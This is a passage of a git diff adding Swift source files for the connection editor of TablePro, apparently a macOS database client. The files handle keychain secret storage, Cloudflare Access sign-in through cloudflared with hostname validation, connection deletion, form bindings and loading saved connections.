ConnectionFacet + var row: EditorRow + var message: String + var severity: Severity = .error + + var id: String { "\(facet.rawValue)|\(row.accessibilityIdentifier)|\(message)" } + + var blocksSave: Bool { severity == .error } + + // A test signs in without a name, so only the name issue spares it. + var blocksTest: Bool { severity == .error && row != .builtIn(.name) } +} + +struct FocusRequest: Equatable, Sendable { + let facet: ConnectionFacet + let row: EditorRow + let token: UUID +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/SecretWritePlan.swift b/apple/TablePro/Views/ConnectionForm/Engine/SecretWritePlan.swift new file mode 100644 index 0000000000..1240549565 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/SecretWritePlan.swift @@ -0,0 +1,150 @@ +// +// SecretWritePlan.swift +// TablePro +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProSSHConfig +import TableProSSHTransport + +struct SecretWritePlan: Equatable, Sendable { + enum Item: Hashable, Sendable { + case password + case sshPassword + case sshKeyPassphrase + case totpSecret + case sslClientKeyPassphrase + case cloudflareTokenId + case cloudflareTokenSecret + case cloudSQLServiceAccountKey + case socksPassword + case pluginField(String) + } + + struct Write: Equatable, Sendable { + let item: Item + let value: String + } + + var writes: [Write] = [] + // Deferred by the staging until the record is on disk; a key whose read failed at load is never deleted. + var stagedDeletes: [Item] = [] + // Deliberate clears the user made, run once the record is on disk. + var deletesAfterRecord: [Item] = [] + + func writes(of item: Item) -> String? { + writes.first { $0.item == item }?.value + } +} + +extension ConnectionEditorEngine { + // The exact declared secure fields of the type being saved and of the type it started as. + static func secureFieldsOwnedByForm( + _ traits: ConnectionTypeTraits, + originalTraits: ConnectionTypeTraits? + ) -> [ConnectionField] { + var fields = traits.fields.filter(\.isSecure) + guard let originalTraits, originalTraits.type != traits.type else { return fields } + let known = Set(fields.map(\.id)) + fields += originalTraits.fields.filter { $0.isSecure && !known.contains($0.id) } + return fields + } + + static func secretPlan( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + originalTraits: ConnectionTypeTraits?, + _ context: EditorContext + ) -> SecretWritePlan { + let draft = normalized(draft, traits) + var plan = SecretWritePlan() + func write(_ item: SecretWritePlan.Item, _ value: String) { + plan.writes.append(SecretWritePlan.Write(item: item, value: value)) + } + + for field in secureFieldsOwnedByForm(traits, originalTraits: originalTraits) { + let value = draft.fieldValues[field.id] ?? "" + if value.isEmpty { + plan.stagedDeletes.append(.pluginField(field.id)) + } else { + write(.pluginField(field.id), value) + } + } + // An installed plugin older than the field still must not leave the token in the record. + let sessionTokenId = ConnectionSecretOptions.mongoSessionTokenFieldId + if let token = draft.fieldValues[sessionTokenId], !token.isEmpty { + write(.pluginField(sessionTokenId), token) + } + + // A linked connection holds no secret of its own: the profile owns it, so rotating it is one edit. + if let profileId = draft.credentials.mode.profileId { + plan.deletesAfterRecord.append(.password) + for fieldId in context.credentialProfile(profileId)?.secureFieldIds ?? [] { + plan.deletesAfterRecord.append(.pluginField(fieldId)) + } + } else if effectivePromptForPassword(draft, traits) || clearsStoredPassword(draft, traits) { + plan.deletesAfterRecord.append(.password) + } else if !draft.credentials.password.isEmpty { + write(.password, draft.credentials.password) + } + + planSSHSecrets(draft, context, into: &plan) + + if !draft.ssl.clientKeyPassphrase.isEmpty, + !draft.ssl.clientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty { + write(.sslClientKeyPassphrase, draft.ssl.clientKeyPassphrase) + } else { + plan.stagedDeletes.append(.sslClientKeyPassphrase) + } + + if draft.transport == .cloudflare, draft.cloudflare.authMethod == .serviceToken { + write(.cloudflareTokenId, draft.cloudflare.serviceTokenId) + write(.cloudflareTokenSecret, draft.cloudflare.serviceTokenSecret) + } else { + plan.stagedDeletes.append(contentsOf: [.cloudflareTokenId, .cloudflareTokenSecret]) + } + + if draft.transport == .cloudSQLProxy, draft.cloudSQLProxy.authMode == .serviceAccountKey, + draft.cloudSQLProxy.hasServiceAccountKey { + write(.cloudSQLServiceAccountKey, draft.cloudSQLProxy.serviceAccountKeyJSON) + } else { + plan.stagedDeletes.append(.cloudSQLServiceAccountKey) + } + + if draft.transport == .socksProxy, !draft.socksProxy.password.isEmpty { + write(.socksPassword, draft.socksProxy.password) + } else { + plan.stagedDeletes.append(.socksPassword) + } + return plan + } + + // A profile this Mac cannot resolve keeps its link and every secret: nothing here may convert or clear it. + private static func planSSHSecrets(_ draft: ConnectionDraft, _ context: EditorContext, into plan: inout SecretWritePlan) { + switch sshResolution(draft, context) { + case .inline: + let ssh = draft.ssh + if (ssh.authMethod == .password || ssh.authMethod == .keyboardInteractive) && !ssh.password.isEmpty { + plan.writes.append(SecretWritePlan.Write(item: .sshPassword, value: ssh.password)) + } else if ssh.clearsStoredPassword { + plan.deletesAfterRecord.append(.sshPassword) + } + if ssh.authMethod == .privateKey && !ssh.keyPassphrase.isEmpty { + plan.writes.append(SecretWritePlan.Write(item: .sshKeyPassphrase, value: ssh.keyPassphrase)) + } else if ssh.clearsStoredKeyPassphrase { + plan.deletesAfterRecord.append(.sshKeyPassphrase) + } + if ssh.totpMode == .autoGenerate && !ssh.totpSecret.isEmpty { + plan.writes.append(SecretWritePlan.Write(item: .totpSecret, value: ssh.totpSecret)) + } else { + plan.stagedDeletes.append(.totpSecret) + } + case .profile, .disabled: + plan.stagedDeletes.append(contentsOf: [.sshPassword, .sshKeyPassphrase, .totpSecret]) + case .unresolvedProfile: + break + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Cloudflare.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Cloudflare.swift new file mode 100644 index 0000000000..80e46635a4 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Cloudflare.swift @@ -0,0 +1,94 @@ +// +// ConnectionEditorStore+Cloudflare.swift +// TablePro +// + +import Foundation +import os +import TableProProcess + +// Runs `cloudflared access login` for the editor and reports how it ended. +@MainActor +final class CloudflareAccessLogin { + nonisolated private static let logger = Logger(subsystem: "com.TablePro", category: "CloudflareAccessLogin") + + private var process: Process? + + var isRunning: Bool { process?.isRunning == true } + + func start(binaryPath: String, hostname: String, onFinish: @escaping @MainActor (String?) -> Void) -> String? { + let launched: Process + do { + launched = try ProcessLauncher.process(for: ProcessCommand( + executable: URL(fileURLWithPath: binaryPath), + arguments: ["access", "login", hostname], + environment: ProcessEnvironment.inherited() + )) + } catch { + return error.localizedDescription + } + // Reap the child and surface a failed login, which otherwise left no feedback. + launched.terminationHandler = { [weak self] finished in + let status = finished.terminationStatus + Task { @MainActor in + self?.process = nil + guard status != 0 else { + onFinish(nil) + return + } + Self.logger.error("cloudflared access login exited \(status, privacy: .public)") + onFinish(String( + localized: "cloudflared sign-in did not complete. Check the hostname and your Cloudflare Access app, then try again." + )) + } + } + do { + try launched.run() + process = launched + Self.logger.info("Started cloudflared access login for \(hostname, privacy: .private(mask: .hash))") + return nil + } catch { + Self.logger.error("cloudflared access login failed to start: \(error.publicLogShape, privacy: .public)") + return error.localizedDescription + } + } +} + +extension ConnectionEditorStore { + var cloudflaredPath: String? { + let typed = draft.cloudflare.binaryPath.trimmingCharacters(in: .whitespacesAndNewlines) + if !typed.isEmpty { return (typed as NSString).expandingTildeInPath } + if case .found(let path) = cloudflaredDetection { return path } + return nil + } + + func signInWithCloudflare() { + cloudflareSignInError = nil + let login = cloudflareLogin ?? CloudflareAccessLogin() + cloudflareLogin = login + guard !login.isRunning else { return } + + let hostname = draft.cloudflare.accessHostname.trimmingCharacters(in: .whitespacesAndNewlines) + guard !hostname.isEmpty else { return } + // A bare operand: cloudflared would read a dash-led hostname as an option. + let refused = CharacterSet.whitespacesAndNewlines.union(.controlCharacters) + guard !hostname.hasPrefix("-"), !hostname.unicodeScalars.contains(where: { refused.contains($0) }) else { + cloudflareSignInError = String( + localized: "The Cloudflare hostname cannot start with a dash or contain spaces or control characters." + ) + return + } + guard let path = cloudflaredPath, FileManager.default.isExecutableFile(atPath: path) else { + cloudflareSignInError = String(localized: "cloudflared was not found. Set its path below first.") + return + } + isCloudflareSignInRunning = true + if let failure = login.start(binaryPath: path, hostname: hostname, onFinish: { [weak self] error in + self?.isCloudflareSignInRunning = false + self?.cloudflareSignInError = error + }) { + isCloudflareSignInRunning = false + cloudflareSignInError = failure + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Delete.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Delete.swift new file mode 100644 index 0000000000..949868fb0d --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Delete.swift @@ -0,0 +1,88 @@ +// +// ConnectionEditorStore+Delete.swift +// TablePro +// + +import Combine +import Foundation +import TableProConnectionLibrary + +struct ConnectionDeleteConfirmation: Equatable { + let connectionName: String + let deletesLinkedSavedQueries: Bool + + var title: String { String(localized: "Delete Connection") } + + var message: String { + if deletesLinkedSavedQueries { + return String( + format: String(localized: "Are you sure you want to delete \"%@\"? Saved queries linked to this connection will also be deleted."), + connectionName + ) + } + return String(format: String(localized: "Are you sure you want to delete \"%@\"?"), connectionName) + } +} + +enum ConnectionEditorDeleteError: Error, Equatable, LocalizedError { + case notSaved + case libraryUnreadable + case recordMissing + case writeFailed + + var errorDescription: String? { + switch self { + case .notSaved: + return String(localized: "This connection has not been saved yet.") + case .libraryUnreadable: + return String(localized: "TablePro could not read your saved connections, so it did not save over them.") + case .recordMissing: + return String(localized: "This connection was deleted on another device or window.") + case .writeFailed: + return String(localized: "The change could not be saved. Check disk space and permissions, then try again.") + } + } +} + +extension ConnectionEditorStore { + var canDelete: Bool { !isNew && !isRecordMissing } + + // The same warning Welcome gives: linked saved queries go with the connection. + func deleteConfirmation() async -> ConnectionDeleteConfirmation { + let name = baseline.name.isEmpty ? windowTitle : baseline.name + let hasQueries = isNew ? false : await services.sqlFavoriteManager.hasFavorites(for: [connectionId]) + return ConnectionDeleteConfirmation(connectionName: name, deletesLinkedSavedQueries: hasQueries) + } + + // Reports a failed write instead of closing over it, and cleans up what Welcome's delete cleans up. + @discardableResult + func delete() -> Result { + let result = performDelete() + if case .failure(let error) = result { + deleteError = error + } else { + deleteError = nil + } + return result + } + + private func performDelete() -> Result { + guard !isNew else { return .failure(.notSaved) } + guard !storage.isLibraryUnreadable else { return .failure(.libraryUnreadable) } + guard let record = storage.loadConnection(id: connectionId) else { return .failure(.recordMissing) } + guard storage.deleteConnection(record) else { return .failure(.writeFailed) } + isClosing = true + cancelTest() + for receipt in Array(pendingTestReceipts.values) { + cleanupTestSecrets(receipt) + } + recentConnections.remove([connectionId]) + listPreferences.setFavoritesOrder( + LibraryOrdering.favoritesOrder(listPreferences.favoritesOrder, removing: [connectionId]) + ) + hasUnsavedChanges = false + dismissAction?() + services.appEvents.connectionUpdated.send(connectionId) + return .success(()) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Edits.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Edits.swift new file mode 100644 index 0000000000..8018445ee5 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Edits.swift @@ -0,0 +1,513 @@ +// +// ConnectionEditorStore+Edits.swift +// TablePro +// + +import Foundation +import SwiftUI +import TableProPluginKit +import TableProSSHConfig +import TableProSSHTransport + +extension ConnectionEditorStore { + // MARK: - Type + + func proposeRetype(to type: DatabaseType) -> RetypeProposal { + let newTraits = ConnectionTypeTraits.live(for: type, pluginManager: services.pluginManager) + return draft.retyped(to: newTraits, from: traits) + } + + // The chooser's callback: applies at once when nothing is lost, else asks through `pendingRetype`. + func requestRetype(to type: DatabaseType) { + isChoosingType = false + guard type != draft.type else { return } + let proposal = proposeRetype(to: type) + if proposal.needsConfirmation { + pendingRetype = proposal + } else { + retype(to: type) + } + } + + func confirmPendingRetype() { + guard let proposal = pendingRetype else { return } + pendingRetype = nil + if let pending = pendingPastedURL { + pendingPastedURL = nil + applyPasted(pending.parsed, snapshot: pending.snapshot, retypeTo: proposal.to) + return + } + retype(to: proposal.to) + } + + func cancelPendingRetype() { + pendingRetype = nil + pendingPastedURL = nil + } + + // A running test is for the old type: it is cancelled, and its receipt cleans up what it wrote. + func retype(to type: DatabaseType) { + guard type != draft.type else { return } + cancelTest() + let newTraits = ConnectionTypeTraits.live(for: type, pluginManager: services.pluginManager) + let next = draft.retyped(to: newTraits, from: traits).result + traits = newTraits + commit(next) + } + + // MARK: - Coupled edits + + func setPort(_ text: String) { + update { $0.setPort(text, traits: traits) } + } + + func selectSSLMode(_ mode: SSLMode) { + update { $0.selectSSLMode(mode) } + } + + func selectTransport(_ transport: ConnectionTunnelKind?) { + update { $0.selectTransport(transport) } + } + + func selectEndpoint(_ endpoint: ConnectionDraft.Endpoint) { + update { $0.selectEndpoint(endpoint) } + } + + func setPasswordPrompt(_ prompts: Bool) { + update { $0.setPasswordPrompt(prompts, traits: traits) } + } + + func setCredentialMode(_ mode: CredentialMode) { + update { $0.setCredentialMode(mode) } + } + + func switchToInlineCredentials() { + setCredentialMode(.inline) + } + + func setEnvironment(_ environment: ConnectionEnvironment) { + update { $0.setEnvironment(environment) } + } + + func setSafeModeLevel(_ level: SafeModeLevel) { + let floor = safeModeFloor + update { $0.setSafeModeLevel(level, floor: floor) } + } + + func setManualCommit(_ enabled: Bool) { + update { $0.setManualCommit(enabled, traits: traits) } + } + + func setFieldValue(_ value: String, for fieldID: String) { + update { $0.setFieldValue(value, for: fieldID) } + } + + func forgetAlwaysAllowed(_ tool: String) { + update { $0.forgetAlwaysAllowed(tool) } + } + + @discardableResult + func addMaskingRule() -> UUID { + var id = UUID() + update { id = $0.addMaskingRule() } + return id + } + + func removeMaskingRule(id: UUID) { + update { $0.removeMaskingRule(id: id) } + } + + func updateMaskingRule(_ rule: MaskingRule) { + update { $0.updateMaskingRule(rule) } + } + + func selectSSHProfile(_ id: UUID?) { + let profiles = context.sshProfiles + update { $0.selectSSHProfile(id, profiles: profiles) } + } + + func switchSSHProfileToInline() { + selectSSHProfile(nil) + } + + func selectSSHConfigHost(_ host: String) { + update { $0.selectSSHConfigHost(host) } + } + + @discardableResult + func addJumpHost() -> UUID { + var id = UUID() + update { id = $0.addJumpHost() } + return id + } + + func removeJumpHost(id: UUID) { + update { $0.removeJumpHost(id: id) } + } + + func updateJumpHost(_ jumpHost: SSHJumpHost) { + update { $0.updateJumpHost(jumpHost) } + } + + func moveJumpHosts(fromOffsets source: IndexSet, toOffset destination: Int) { + update { $0.moveJumpHosts(fromOffsets: source, toOffset: destination) } + } + + // MARK: - Profiles + + var selectedCredentialProfile: CredentialProfile? { + context.credentialProfile(draft.credentials.mode.profileId) + } + + var credentialProfileIsMissing: Bool { + ConnectionEditorEngine.credentialProfileIsMissing(draft, context) && !context.credentialProfilesLoadFailed + } + + var hasPromotableCredentials: Bool { + !draft.credentials.username.trimmingCharacters(in: .whitespaces).isEmpty + || !draft.credentials.password.isEmpty + || ConnectionEditorEngine.effectivePromptForPassword(draft, traits) + || draft.credentials.passwordSource != nil + } + + // Promoting what is filled in beats retyping it; a source survives only from a file TablePro last wrote. + func credentialProfileFromCurrentCredentials() -> CredentialProfile { + let mode: CredentialPasswordMode + if ConnectionEditorEngine.effectivePromptForPassword(draft, traits) { + mode = .prompt + } else if let source = draft.credentials.passwordSource { + mode = storage.storeIsTrusted ? .source(source) : .prompt + } else if ConnectionEditorEngine.usesPgpass(draft, traits) { + mode = .pgpass + } else { + mode = .stored + } + return CredentialProfile( + name: "", + username: draft.credentials.username.trimmingCharacters(in: .whitespaces), + passwordMode: mode + ) + } + + func didSaveCredentialProfile(_ profile: CredentialProfile) { + isSavingCredentialsAsProfile = false + refreshContext() + setCredentialMode(.profile(id: profile.id)) + } + + var selectedSSHProfile: SSHProfile? { + context.sshProfile(draft.ssh.profileId) + } + + var sshProfileIsUnresolved: Bool { + ConnectionEditorEngine.sshProfileIsUnresolved(draft, context) + } + + var canSaveSSHAsProfile: Bool { + draft.ssh.profileId == nil && draft.usesSSHServer && !draft.ssh.host.isEmpty + } + + func sshProfileFromInline() -> SSHProfile { + let ssh = draft.ssh + return SSHProfile( + name: "", + host: ssh.host, + port: Int(ssh.port), + username: ssh.username, + authMethod: ssh.authMethod, + privateKeyPath: ssh.privateKeyPath, + agentSocketPath: ssh.resolvedAgentSocketPath, + jumpHosts: ssh.jumpHosts, + totpMode: ssh.totpMode, + totpAlgorithm: ssh.totpAlgorithm, + totpDigits: ssh.totpDigits, + totpPeriod: ssh.totpPeriod + ) + } + + func presentSSHProfileCreation() { + sshProfileSheet = .create + } + + func presentSSHProfileEditing() { + guard let profile = selectedSSHProfile else { return } + sshProfileSheet = .edit(profile) + } + + func presentSaveSSHAsProfile() { + guard canSaveSSHAsProfile else { return } + sshProfileSheet = .saveCurrent(sshProfileFromInline()) + } + + // A profile saved from the inline values is linked at once; a create or an edit only refreshes the list. + func didSaveSSHProfile(_ profile: SSHProfile) { + let linksSaved: Bool + if case .saveCurrent = sshProfileSheet { linksSaved = true } else { linksSaved = false } + sshProfileSheet = nil + refreshContext() + if linksSaved { + selectSSHProfile(profile.id) + } + } + + func didDeleteSSHProfile() { + sshProfileSheet = nil + refreshContext() + } + + // MARK: - Derived values for rows + + var availableTransports: [ConnectionTunnelKind?] { + ConnectionEditorEngine.availableTransports(draft, traits) + } + + var offeredSSLModes: [SSLMode] { + ConnectionEditorEngine.offeredSSLModes(draft, traits) + } + + var safeModeFloor: SafeModeFloor? { + ConnectionEditorEngine.safeModeFloor(draft, traits, context) + } + + var effectiveSafeModeLevel: SafeModeLevel { + ConnectionEditorEngine.effectiveSafeModeLevel(draft, traits, context) + } + + var allowedSafeModeLevels: [SafeModeLevel] { + SafeModeFloor.levels(allowedBy: safeModeFloor) + } + + var effectiveManualCommit: Bool { + ConnectionEditorEngine.effectiveManualCommit(draft, traits) + } + + var usesLocalSocket: Bool { + ConnectionEditorEngine.usesLocalSocket(draft, traits) + } + + var localSocketEndpoint: ConnectionEditorEngine.SocketEndpoint? { + ConnectionEditorEngine.localSocketEndpoint(draft, traits) + } + + // Advisory only: the server may start after the connection is saved. + var localSocketFileStatus: SocketFileStatus? { + guard let endpoint = localSocketEndpoint, endpoint.issue == nil else { return nil } + return SocketFileStatus.of(path: endpoint.socketFile) + } + + // Advisory only: the SSH server is the authority on whether the path resolves. + var sshForwardSocketPathAdvice: SSHForwardSocketAdvice? { + SSHForwardSocketAdvice.of(path: draft.sshForwardUnixSocketPath) + } + + var hostAndPortAreUnused: Bool { + ConnectionEditorEngine.forwardsToUnixSocket(draft) + } + + var portTLSNotice: PortTLSNotice? { + guard ConnectionEditorEngine.showsPortTLSNotice(draft, traits) else { return nil } + let port = ConnectionEditorEngine.resolvedPort(draft, traits) + guard let implied = traits.ssl.impliedMode(forPort: port) else { return nil } + return PortTLSNotice(port: port, impliedMode: implied, sslModeIsDisabled: draft.ssl.mode == .disabled) + } + + var transportSummary: String { + ConnectionEditorEngine.transportSummary(draft, traits) + } + + var tunnelCommandPreview: String? { + let endpoint = testRecord(testId: connectionId).tunnelForwardEndpoint + return TunnelCommandBuilder.previewCommand( + for: draft.tunnelCommand.trimmedConfiguration, + remoteHost: endpoint.host, + remotePort: endpoint.port + ) + } + + // What a password source sees for the values in the form, saved or not. + func passwordSourceContext() -> ConnectionScriptContext { + ConnectionScriptContext(connection: testRecord(testId: connectionId)) + } + + func pluginField(_ fieldID: String) -> ConnectionField? { + traits.field(fieldID) + } + + func pluginFieldKind(_ fieldID: String) -> PluginFieldKind? { + guard let field = traits.field(fieldID) else { return nil } + return PluginFieldKind(field: field, traits: traits) + } + + // MARK: - Bindings + + func binding(_ keyPath: WritableKeyPath) -> Binding { + Binding( + get: { self.draft[keyPath: keyPath] }, + set: { newValue in self.update { $0[keyPath: keyPath] = newValue } } + ) + } + + func pluginFieldBinding(_ fieldID: String) -> Binding { + Binding( + get: { self.draft.fieldValues[fieldID] ?? self.traits.field(fieldID)?.defaultValue ?? "" }, + set: { self.setFieldValue($0, for: fieldID) } + ) + } + + var portBinding: Binding { + Binding(get: { self.draft.portText }, set: { self.setPort($0) }) + } + + func hostBinding(undoManager: UndoManager?) -> Binding { + Binding(get: { self.draft.host }, set: { self.setHost($0, undoManager: undoManager) }) + } + + var sslModeBinding: Binding { + Binding(get: { self.draft.ssl.mode }, set: { self.selectSSLMode($0) }) + } + + var transportBinding: Binding { + Binding(get: { self.draft.transport }, set: { self.selectTransport($0) }) + } + + var endpointBinding: Binding { + Binding(get: { self.draft.endpoint }, set: { self.selectEndpoint($0) }) + } + + var passwordPromptBinding: Binding { + Binding(get: { self.draft.credentials.promptsForPassword }, set: { self.setPasswordPrompt($0) }) + } + + var credentialModeBinding: Binding { + Binding(get: { self.draft.credentials.mode }, set: { self.setCredentialMode($0) }) + } + + var environmentBinding: Binding { + Binding(get: { self.draft.environment }, set: { self.setEnvironment($0) }) + } + + var safeModeLevelBinding: Binding { + Binding(get: { self.effectiveSafeModeLevel }, set: { self.setSafeModeLevel($0) }) + } + + var manualCommitBinding: Binding { + Binding(get: { self.effectiveManualCommit }, set: { self.setManualCommit($0) }) + } + + var sshProfileBinding: Binding { + Binding(get: { self.draft.ssh.profileId }, set: { self.selectSSHProfile($0) }) + } + + var sshConfigHostBinding: Binding { + Binding(get: { self.draft.ssh.selectedConfigHost }, set: { self.selectSSHConfigHost($0) }) + } + + func jumpHostBinding(_ id: UUID) -> Binding { + Binding( + get: { self.draft.ssh.jumpHosts.first { $0.id == id } ?? SSHJumpHost(id: id) }, + set: { self.updateJumpHost($0) } + ) + } + + func maskingRuleBinding(_ id: UUID) -> Binding { + Binding( + get: { self.draft.safety.maskingRules.first { $0.id == id } ?? MaskingRule(id: id, pattern: "") }, + set: { self.updateMaskingRule($0) } + ) + } +} + +struct PortTLSNotice: Equatable { + let port: Int + let impliedMode: SSLMode + let sslModeIsDisabled: Bool + + var message: String { + if sslModeIsDisabled { + return String(format: String(localized: "Port %lld usually requires TLS, and SSL Mode is Disabled."), Int64(port)) + } + return String(format: String(localized: "Port %lld uses TLS, so SSL Mode is %@."), Int64(port), impliedMode.displayLabel) + } + + var actionTitle: String? { + sslModeIsDisabled ? String(format: String(localized: "Use %@"), impliedMode.displayLabel) : nil + } +} + +enum SocketFileStatus: Equatable { + case missing + case notSocket + case socket + + // stat, not attributesOfItem, which reports a symlink to the socket as a symlink. + static func of(path: String) -> SocketFileStatus? { + var info = stat() + guard stat(path, &info) == 0 else { + return errno == ENOENT || errno == ENOTDIR ? .missing : nil + } + return info.st_mode & S_IFMT == S_IFSOCK ? .socket : .notSocket + } +} + +// `ssh -L` needs the socket file itself, while libpq names the directory holding it. +enum SSHForwardSocketAdvice: Equatable { + case notAbsolute + case looksLikeDirectory + + static func of(path rawPath: String) -> SSHForwardSocketAdvice? { + let path = rawPath.trimmingCharacters(in: .whitespaces) + guard !path.isEmpty else { return nil } + guard path.hasPrefix("/") else { return .notAbsolute } + return path.hasSuffix("/") ? .looksLikeDirectory : nil + } +} + +enum PluginFieldKind: Equatable { + case text + case secure + case dropdown([ConnectionField.DropdownOption]) + case number + case toggle + case stepper(ClosedRange) + case hostList + case attachedDatabases + case loadableExtensions + case localDatabaseFile + case filePath + case awsProfile + + init(field: ConnectionField, traits: ConnectionTypeTraits) { + switch field.content { + case .attachedDatabases: + self = .attachedDatabases + return + case .loadableExtensions: + self = .loadableExtensions + return + case .plain: + break + @unknown default: + break + } + if traits.localFilePathField == .additionalField(field.id) { + self = .localDatabaseFile + return + } + switch field.fieldType { + case .text: + if field.dynamicOptions == .awsProfiles { + self = .awsProfile + } else if field.id.hasSuffix("FilePath") { + self = .filePath + } else { + self = .text + } + case .secure: self = .secure + case .dropdown(let options): self = .dropdown(options) + case .number: self = .number + case .toggle: self = .toggle + case .stepper(let range): self = .stepper(range.closedRange) + case .hostList: self = .hostList + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift new file mode 100644 index 0000000000..e8a18768cc --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift @@ -0,0 +1,308 @@ +// +// ConnectionEditorStore+Load.swift +// TablePro +// + +import Combine +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProSSHConfig +import TableProSSHTransport +import TableProUtilities + +extension ConnectionEditorStore { + func load(_ request: Request) { + context = makeContext() + switch request { + case .new(_, let parsedURL): + baseline = draft + dirtyBaseline = dirtyFingerprint() + if let parsedURL { + var imported = draft + imported.apply(parsedURL, traits: traits, policy: .newConnection) + draft = ConnectionEditorEngine.normalized(imported, traits) + } + case .edit(let id): + isLibraryUnreadable = storage.isLibraryUnreadable + guard let record = storage.loadConnection(id: id) else { + isRecordMissing = !isLibraryUnreadable + baseline = draft + refreshDerivedState() + return + } + traits = ConnectionTypeTraits.live(for: record.type, pluginManager: services.pluginManager) + originalTraits = traits + context.originalType = record.type + context.participatesInSync = record.participatesInSync + var secrets = DraftSecrets() + let reads = storage.recordingSecretReads { + secrets = readSecrets(of: record) + } + unreadableSecretKeys = reads.unreadable + loadedSecrets = reads.loaded + draft = ConnectionDraft.loaded(from: record, secrets: secrets, traits: traits) + baseline = draft + baselineEdits = ConnectionEditorEngine.edits(draft, traits, originalTraits: originalTraits, context) + dirtyBaseline = dirtyFingerprint() + } + refreshDerivedState() + loadSSHConfigEntries() + } + + func readSecrets(of record: DatabaseConnection) -> DraftSecrets { + let id = record.id + var secrets = DraftSecrets() + secrets.passwordState = storage.passwordState(for: id) + secrets.password = storage.loadPassword(for: id) + if case .profile(let profileId, _) = record.sshTunnelMode { + // Shown so a switch to Inline Configuration carries them; the connection's own namespace stays as it is. + let profiles = services.sshProfileStorage + secrets.sshPassword = profiles.loadSSHPassword(for: profileId) + secrets.sshKeyPassphrase = profiles.loadKeyPassphrase(for: profileId) + secrets.totpSecret = profiles.loadTOTPSecret(for: profileId) + } else { + secrets.sshPasswordState = storage.sshPasswordState(for: id) + secrets.sshKeyPassphraseState = storage.keyPassphraseState(for: id) + secrets.sshPassword = storage.loadSSHPassword(for: id) + secrets.sshKeyPassphrase = storage.loadKeyPassphrase(for: id) + secrets.totpSecret = storage.loadTOTPSecret(for: id) + } + secrets.sslClientKeyPassphrase = storage.loadSSLClientKeyPassphrase(for: id) + secrets.cloudflareTokenId = storage.loadCloudflareTokenId(for: id) + secrets.cloudflareTokenSecret = storage.loadCloudflareTokenSecret(for: id) + secrets.cloudSQLServiceAccountKey = storage.loadCloudSQLProxyServiceAccountKey(for: id) + secrets.socksPassword = storage.loadSOCKSProxyPassword(for: id) + for fieldId in traits.declaredSecureFieldIds { + if let value = storage.loadPluginSecureField(fieldId: fieldId, for: id) { + secrets.pluginSecureFields[fieldId] = value + } + } + return secrets + } + + func makeContext() -> EditorContext { + var context = EditorContext() + context.isNew = isNew + context.originalType = self.context.originalType + context.participatesInSync = self.context.participatesInSync + context.aiEnabled = services.appSettings.ai.enabled + context.syncEnabled = services.appSettings.sync.enabled + context.managedSafeModeMinimum = ManagedPolicyResolver.minimumSafeModeLevel(policy: managedPolicy) + let credentialStorage = services.credentialProfileStorage + context.credentialProfiles = credentialStorage.loadProfiles() + context.credentialProfilesLoadFailed = credentialStorage.lastLoadFailed + let sshStorage = services.sshProfileStorage + context.sshProfiles = sshStorage.loadProfiles() + context.sshProfilesLoadFailed = sshStorage.lastLoadFailed + context.sshConfigEntries = self.context.sshConfigEntries + return context + } + + func refreshContext() { + context = makeContext() + refreshDerivedState() + } + + // The config parse runs off the main thread; the matching host is picked once the entries arrive. + func loadSSHConfigEntries() { + Task { [weak self] in + let entries = await Task.detached { SSHConfigParser.parse() }.value + guard let self, !self.isClosing else { return } + self.context.sshConfigEntries = entries + if self.draft.ssh.selectedConfigHost.isEmpty, let match = entries.first(where: { $0.host == self.draft.ssh.host }) { + var next = self.draft + next.ssh.selectedConfigHost = match.host + self.baseline.ssh.selectedConfigHost = match.host + self.commit(next) + } else { + self.refreshDerivedState() + } + } + } + + // MARK: - Listeners + + // Owned here, not by a view: a facet that is not on screen still needs every one of these. + func subscribe() { + NotificationCenter.default.publisher(for: .credentialProfilesDidChange) + .sink { [weak self] _ in + MainActor.assumeIsolated { self?.credentialProfilesDidChange() } + } + .store(in: &cancellables) + NotificationCenter.default.publisher(for: .sshProfilesDidChange) + .sink { [weak self] _ in + MainActor.assumeIsolated { self?.sshProfilesDidChange() } + } + .store(in: &cancellables) + services.appEvents.connectionUpdated + .sink { [weak self] id in + MainActor.assumeIsolated { self?.connectionDidUpdate(id) } + } + .store(in: &cancellables) + cloudSQLProxyDownload.$phase + .sink { [weak self] phase in + MainActor.assumeIsolated { self?.cloudSQLProxyDownloadDidChange(phase) } + } + .store(in: &cancellables) + services.appSettings.$ai.map(\.enabled).removeDuplicates() + .combineLatest(services.appSettings.$sync.map(\.enabled).removeDuplicates()) + .dropFirst() + .sink { [weak self] aiEnabled, syncEnabled in + MainActor.assumeIsolated { + guard let self else { return } + self.context.aiEnabled = aiEnabled + self.context.syncEnabled = syncEnabled + self.refreshDerivedState() + } + } + .store(in: &cancellables) + } + + // Storage has already handed a dead profile's credentials to the connection inline, so keeping the id would undo that. + func credentialProfilesDidChange() { + refreshContext() + guard !context.credentialProfilesLoadFailed, + let profileId = draft.credentials.mode.profileId, + context.credentialProfile(profileId) == nil + else { return } + var next = draft + next.credentials.mode = .inline + if !isNew, let refreshed = storage.loadConnection(id: connectionId) { + let reads = storage.recordingSecretReads { + next.credentials.username = refreshed.username + next.credentials.promptsForPassword = 